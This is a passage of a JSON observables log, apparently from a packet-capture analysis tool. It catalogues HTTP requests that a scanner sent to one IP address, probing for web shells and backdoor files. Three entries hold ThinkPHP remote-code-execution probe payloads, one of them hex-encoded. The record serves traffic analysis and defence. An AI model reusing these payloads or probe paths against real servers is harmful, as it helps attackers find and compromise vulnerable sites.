            "tcp_stream": 28,
            "frame_number": 887,
            "display_filter": "frame.number == 887",
            "timestamp_epoch": "1577255757.982191000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-799739ef1ed72a350a72b573",
        "type": "url",
        "value": "http://128.199.64.235/haiyan.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 529,
            "display_filter": "frame.number == 529",
            "timestamp_epoch": "1577255590.490492000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d536ceacda85483970bef3f2",
        "type": "url",
        "value": "http://128.199.64.235/hd.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 379,
            "display_filter": "frame.number == 379",
            "timestamp_epoch": "1577255479.404783000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-89b875e2f4d606b5003255c9",
        "type": "url",
        "value": "http://128.199.64.235/hell.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 112,
            "display_filter": "frame.number == 112",
            "timestamp_epoch": "1577255370.827144000"
          },
          {
            "tcp_stream": 54,
            "frame_number": 1643,
            "display_filter": "frame.number == 1643",
            "timestamp_epoch": "1577256121.994922000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a5a4b039151207f6bbd85999",
        "type": "url",
        "value": "http://128.199.64.235/hello.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1623,
            "display_filter": "frame.number == 1623",
            "timestamp_epoch": "1577256098.611587000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1626,
            "display_filter": "frame.number == 1626",
            "timestamp_epoch": "1577256102.501321000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-03a1e4dab87cf3adb32e6d32",
        "type": "url",
        "value": "http://128.199.64.235/help-e.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 103,
            "display_filter": "frame.number == 103",
            "timestamp_epoch": "1577255370.023839000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ed871803773f8ca9d01d135c",
        "type": "url",
        "value": "http://128.199.64.235/help.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 75,
            "display_filter": "frame.number == 75",
            "timestamp_epoch": "1577255356.563321000"
          },
          {
            "tcp_stream": 43,
            "frame_number": 1350,
            "display_filter": "frame.number == 1350",
            "timestamp_epoch": "1577255964.221343000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4b5306b9d80985d56cd37f02",
        "type": "url",
        "value": "http://128.199.64.235/hgx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 729,
            "display_filter": "frame.number == 729",
            "timestamp_epoch": "1577255677.533532000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9b0f3766b7e260600257a385",
        "type": "url",
        "value": "http://128.199.64.235/hh.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1261,
            "display_filter": "frame.number == 1261",
            "timestamp_epoch": "1577255902.051798000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a3d38e432f9e3e74f7f7d151",
        "type": "url",
        "value": "http://128.199.64.235/hhh.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 598,
            "display_filter": "frame.number == 598",
            "timestamp_epoch": "1577255617.794802000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fcdc9f7c19be51a3358c6781",
        "type": "url",
        "value": "http://128.199.64.235/hhhhhh.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 444,
            "display_filter": "frame.number == 444",
            "timestamp_epoch": "1577255501.859637000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f79ef99ab83689e72a591ad8",
        "type": "url",
        "value": "http://128.199.64.235/hm.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 33,
            "frame_number": 1160,
            "display_filter": "frame.number == 1160",
            "timestamp_epoch": "1577255832.257399000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-703f280658f1747952691a7c",
        "type": "url",
        "value": "http://128.199.64.235/home.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 311,
            "display_filter": "frame.number == 311",
            "timestamp_epoch": "1577255416.653296000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bf9e7470064138f39025b5da",
        "type": "url",
        "value": "http://128.199.64.235/hs.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 14,
            "frame_number": 514,
            "display_filter": "frame.number == 514",
            "timestamp_epoch": "1577255577.898801000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ddf78b7a8c17293ca562d614",
        "type": "url",
        "value": "http://128.199.64.235/htdocs.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 124,
            "display_filter": "frame.number == 124",
            "timestamp_epoch": "1577255372.472235000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fa7171f514ceddb0b2a9dc71",
        "type": "url",
        "value": "http://128.199.64.235/htfr.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 46,
            "frame_number": 1425,
            "display_filter": "frame.number == 1425",
            "timestamp_epoch": "1577256009.122112000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-49b6e55278584ce36a8aa2fc",
        "type": "url",
        "value": "http://128.199.64.235/hue2.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 341,
            "display_filter": "frame.number == 341",
            "timestamp_epoch": "1577255438.526066000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-580f2460152035a782348aa6",
        "type": "url",
        "value": "http://128.199.64.235/huoshan.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 405,
            "display_filter": "frame.number == 405",
            "timestamp_epoch": "1577255485.652981000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c8b92a9ed28c886d60aafb31",
        "type": "url",
        "value": "http://128.199.64.235/HX.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1687,
            "display_filter": "frame.number == 1687",
            "timestamp_epoch": "1577256137.146098000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-08d70b8ff06ddc4ca995f5f4",
        "type": "url",
        "value": "http://128.199.64.235/images/!.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 372,
            "display_filter": "frame.number == 372",
            "timestamp_epoch": "1577255477.790960000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-28a3a25dd799f94e900c1a1e",
        "type": "url",
        "value": "http://128.199.64.235/images/attari.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 386,
            "display_filter": "frame.number == 386",
            "timestamp_epoch": "1577255482.273937000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1abbe1a02395b3fd2a590bfc",
        "type": "url",
        "value": "http://128.199.64.235/images/jsspwneed.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 389,
            "display_filter": "frame.number == 389",
            "timestamp_epoch": "1577255482.534726000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9ff1f02ac3e0c13567b174ef",
        "type": "url",
        "value": "http://128.199.64.235/images/stories/cmd.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 392,
            "display_filter": "frame.number == 392",
            "timestamp_epoch": "1577255483.482394000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6a01a03171264c54b1ccbc6d",
        "type": "url",
        "value": "http://128.199.64.235/images/stories/filemga.php?ssp=RfVbHu",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 396,
            "display_filter": "frame.number == 396",
            "timestamp_epoch": "1577255483.742395000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-037067a21b8dbd1d4f9ecd80",
        "type": "url",
        "value": "http://128.199.64.235/images/up.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 382,
            "display_filter": "frame.number == 382",
            "timestamp_epoch": "1577255481.943972000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c8ba27c5371c28cfb453ad03",
        "type": "url",
        "value": "http://128.199.64.235/images/vuln.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 376,
            "display_filter": "frame.number == 376",
            "timestamp_epoch": "1577255478.909715000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f4a7966ad680d11d7e1d30f5",
        "type": "url",
        "value": "http://128.199.64.235/indax.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 972,
            "display_filter": "frame.number == 972",
            "timestamp_epoch": "1577255786.551312000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2a607064f5a2265379c3c19a",
        "type": "url",
        "value": "http://128.199.64.235/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 34,
            "display_filter": "frame.number == 34",
            "timestamp_epoch": "1577255336.009530000"
          },
          {
            "tcp_stream": 68,
            "frame_number": 2041,
            "display_filter": "frame.number == 2041",
            "timestamp_epoch": "1577256306.171632000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2069,
            "display_filter": "frame.number == 2069",
            "timestamp_epoch": "1577256335.096977000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-daaaaa04535da9f9ac841fb7",
        "type": "url",
        "value": "http://128.199.64.235/index.php/module/action/param1/${@die(md5(HelloThinkPHP))}",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 273,
            "display_filter": "frame.number == 273",
            "timestamp_epoch": "1577255407.258901000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e4d8f71f4bc7cc7afb793e14",
        "type": "url",
        "value": "http://128.199.64.235/index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 264,
            "display_filter": "frame.number == 264",
            "timestamp_epoch": "1577255406.392481000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7b4782b471cb60eaa60838dd",
        "type": "url",
        "value": "http://128.199.64.235/index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 276,
            "display_filter": "frame.number == 276",
            "timestamp_epoch": "1577255408.043081000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a0b3445a341f481ca03434e7",
        "type": "url",
        "value": "http://128.199.64.235/indexl.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1005,
            "display_filter": "frame.number == 1005",
            "timestamp_epoch": "1577255795.869717000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4c71ff90620e22d9711db567",
        "type": "url",
        "value": "http://128.199.64.235/infoo.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1271,
            "display_filter": "frame.number == 1271",
            "timestamp_epoch": "1577255904.616745000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8e264c53f37231e6aba26a51",
        "type": "url",
        "value": "http://128.199.64.235/infos.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1708,
            "display_filter": "frame.number == 1708",
            "timestamp_epoch": "1577256139.796264000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6418bdecd622cdd9f6c0e511",
        "type": "url",
        "value": "http://128.199.64.235/ioi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 750,
            "display_filter": "frame.number == 750",
            "timestamp_epoch": "1577255682.592211000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bd62fb4d4ade8ba2f466b9ad",
        "type": "url",
        "value": "http://128.199.64.235/ip.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1268,
            "display_filter": "frame.number == 1268",
            "timestamp_epoch": "1577255902.620402000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1cc9a2faa7be306e193791dd",
        "type": "url",
        "value": "http://128.199.64.235/izom.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 335,
            "display_filter": "frame.number == 335",
            "timestamp_epoch": "1577255437.223878000"
          },
          {
            "tcp_stream": 7,
            "frame_number": 357,
            "display_filter": "frame.number == 357",
            "timestamp_epoch": "1577255454.393487000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f55eeccf707ae69049a2f68d",
        "type": "url",
        "value": "http://128.199.64.235/j.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 939,
            "display_filter": "frame.number == 939",
            "timestamp_epoch": "1577255777.946300000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0dd26ec5044a813109e23a89",
        "type": "url",
        "value": "http://128.199.64.235/java.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 85,
            "display_filter": "frame.number == 85",
            "timestamp_epoch": "1577255368.254905000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b53cbba5d79aa06e364bc2b1",
        "type": "url",
        "value": "http://128.199.64.235/jbb.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 23,
            "frame_number": 706,
            "display_filter": "frame.number == 706",
            "timestamp_epoch": "1577255664.110095000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-974fdfd0b32df0ed817c6003",
        "type": "url",
        "value": "http://128.199.64.235/jj1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 23,
            "frame_number": 703,
            "display_filter": "frame.number == 703",
            "timestamp_epoch": "1577255663.598513000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d2a7671eb49d1a2d986d653d",
        "type": "url",
        "value": "http://128.199.64.235/jjj.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 601,
            "display_filter": "frame.number == 601",
            "timestamp_epoch": "1577255622.246182000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-803bb48b205cfa2297422984",
        "type": "url",
        "value": "http://128.199.64.235/jkl.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1983,
            "display_filter": "frame.number == 1983",
            "timestamp_epoch": "1577256279.320568000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-28eaacab3ab18201dd96f1c5",
        "type": "url",
        "value": "http://128.199.64.235/joomla/",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 290,
            "display_filter": "frame.number == 290",
            "timestamp_epoch": "1577255408.890352000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2060,
            "display_filter": "frame.number == 2060",
            "timestamp_epoch": "1577256333.918483000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ff6c9536ffc25415908f3180",
        "type": "url",
        "value": "http://128.199.64.235/Joomla/",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 293,
            "display_filter": "frame.number == 293",
            "timestamp_epoch": "1577255409.675227000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-82039b0d3ad625db84d43d97",
        "type": "url",
        "value": "http://128.199.64.235/jsc.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 814,
            "display_filter": "frame.number == 814",
            "timestamp_epoch": "1577255713.788724000"
          },
          {
            "tcp_stream": 25,
            "frame_number": 820,
            "display_filter": "frame.number == 820",
            "timestamp_epoch": "1577255717.020938000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4dcca2a5e99a37ef22f58a45",
        "type": "url",
        "value": "http://128.199.64.235/jsc.php.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 817,
            "display_filter": "frame.number == 817",
            "timestamp_epoch": "1577255714.053546000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2a2a0e17f425d551c9d66bed",
        "type": "url",
        "value": "http://128.199.64.235/jyyy.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1411,
            "display_filter": "frame.number == 1411",
            "timestamp_epoch": "1577255998.576383000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3434eeaab60e67668fd893f2",
        "type": "url",
        "value": "http://128.199.64.235/kk.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 12,
            "frame_number": 491,
            "display_filter": "frame.number == 491",
            "timestamp_epoch": "1577255525.040771000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e1fb05acd6cf019f911036dc",
        "type": "url",
        "value": "http://128.199.64.235/kkl.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 826,
            "display_filter": "frame.number == 826",
            "timestamp_epoch": "1577255717.864274000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-70dc68c1edb6eadeeb6ed409",
        "type": "url",
        "value": "http://128.199.64.235/knal.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 199,
            "display_filter": "frame.number == 199",
            "timestamp_epoch": "1577255395.316797000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6a7a394f339addaa8945fa53",
        "type": "url",
        "value": "http://128.199.64.235/kpl.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 726,
            "display_filter": "frame.number == 726",
            "timestamp_epoch": "1577255677.218363000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-cc11fc168375b161def10bbe",
        "type": "url",
        "value": "http://128.199.64.235/ks1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
